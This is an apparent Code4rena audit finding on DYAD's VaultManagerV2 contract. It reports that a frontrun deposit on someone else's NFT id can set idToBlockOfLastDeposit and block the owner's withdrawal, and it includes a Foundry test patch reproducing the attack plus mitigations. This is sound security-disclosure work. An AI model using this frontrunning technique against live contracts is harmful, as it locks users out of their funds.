DYAD - pep7siup's results

Lines of code

https://github.com/code-423n4/2024-04-dyad/tree/main/src/core/VaultManagerV2.sol#L143

Vulnerability details

Impact

The vulnerability in the smart contract poses a significant risk of DoS attacks. Despite idToBlockOfLastDeposit being introduced to protect against flashloan attacks, it exposes the contract to a DoS attack vector:

// Findings are labeled with '<= FOUND'
// File: src/core/VaultManagerV2.sol
119:  function deposit(
    ...
125:      isValidDNft(id)
126:  {
127:    idToBlockOfLastDeposit[id] = block.number; // <= FOUND: anyone can set this state
    ...
131:  }
...
134:  function withdraw(
    ...
141:      isDNftOwner(id)
142:  {
143:    if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock(); // <= FOUND: withdraw could be DOS-ed by frontruning a fake deposit to set idToBlockOfLastDeposit[id] to current block.number
    ...
153:  }

From above snippet, the idToBlockOfLastDeposit state only relies on the nft id to determine flashloan event. The lacking of msg.sender tracking enables any user to frontrun a deposit call to set value for idToBlockOfLastDeposit and deny the withdraw effort in the same block.

The attack is also inexpensive to carry out which potentially leads to the DNft Owner being unable to withdraw their deposits if the malicious actor keep repeating the attack.

Proof of Concept

Let us walk through the issue with the following scenario:

1. Alice, a DNft owner, attempts to withdraw her deposit collateral.
2. Bob, a malicious actor, snipes Alice's transaction on-chain and frontruns a deposit on the same ID.
3. Bob's transaction successfully updates idToBlockOfLastDeposit[id] to the current block number.
4. Alice's transaction reverts with a DepositedInSameBlock error, preventing her from withdrawing her deposit.
5. Since the attack is low cost, it's posible for the attacker to repeat the attack vector and keep the owner's fund in the vault for a long time.

test_VaultManagerV2_withdraw_DOSed.patch:

diff --git a/test/fork/v2.t.sol b/test/fork/v2.t.sol
index 349412f..bfe0e4c 100644
--- a/test/fork/v2.t.sol
+++ b/test/fork/v2.t.sol
@@ -7,6 +7,7 @@ import "forge-std/Test.sol";
 import {DeployV2, Contracts} from "../../script/deploy/Deploy.V2.s.sol";
 import {Licenser} from "../../src/core/Licenser.sol";
 import {Parameters} from "../../src/params/Parameters.sol";
+import {Vault}        from "../../src/core/Vault.sol";
 
 contract V2Test is Test, Parameters {
 
@@ -52,4 +53,32 @@ contract V2Test is Test, Parameters {
     uint denominator = contracts.kerosineDenominator.denominator();
     assertTrue(denominator < contracts.kerosene.balanceOf(MAINNET_OWNER));
   }
+  
+  error DepositedInSameBlock();
+  function test_VaultManagerV2_withdraw_DOSed() public {
+    // Prepare owner's dNft & vault deposit
+    vm.deal(address(this), 100 ether);
+    uint id = contracts.vaultManager.dNft().mintNft{value: 1 ether}(address(this));
+    address[] memory vaults = contracts.kerosineManager.getVaults();
+    contracts.vaultManager.deposit(id, vaults[0], 0);
+
+    // Actor deposit frontrun
+    vm.roll(10);
+    vm.prank(address(0x1));
+    contracts.vaultManager.deposit(id, vaults[0], 0);
+
+    // Owner's withdrawal reverts
+    vm.expectRevert(DepositedInSameBlock.selector);
+    contracts.vaultManager.withdraw(id, vaults[0], 0, address(this));
+  }
+
+  function onERC721Received(
+    address,
+    address,
+    uint256,
+    bytes calldata
+  ) external pure returns (bytes4) {
+    return 0x150b7a02;
+  }
+  receive() external payable {}
 }

Tools Used

VsCode

Recommended Mitigation Steps

1. A simple nonReentrant modifier should be implemented to protect against flashloan attacks
2. idToBlockOfLastDeposit could be extended to track msg.sender so that users could NOT dos eachother.

Assessed type

DoS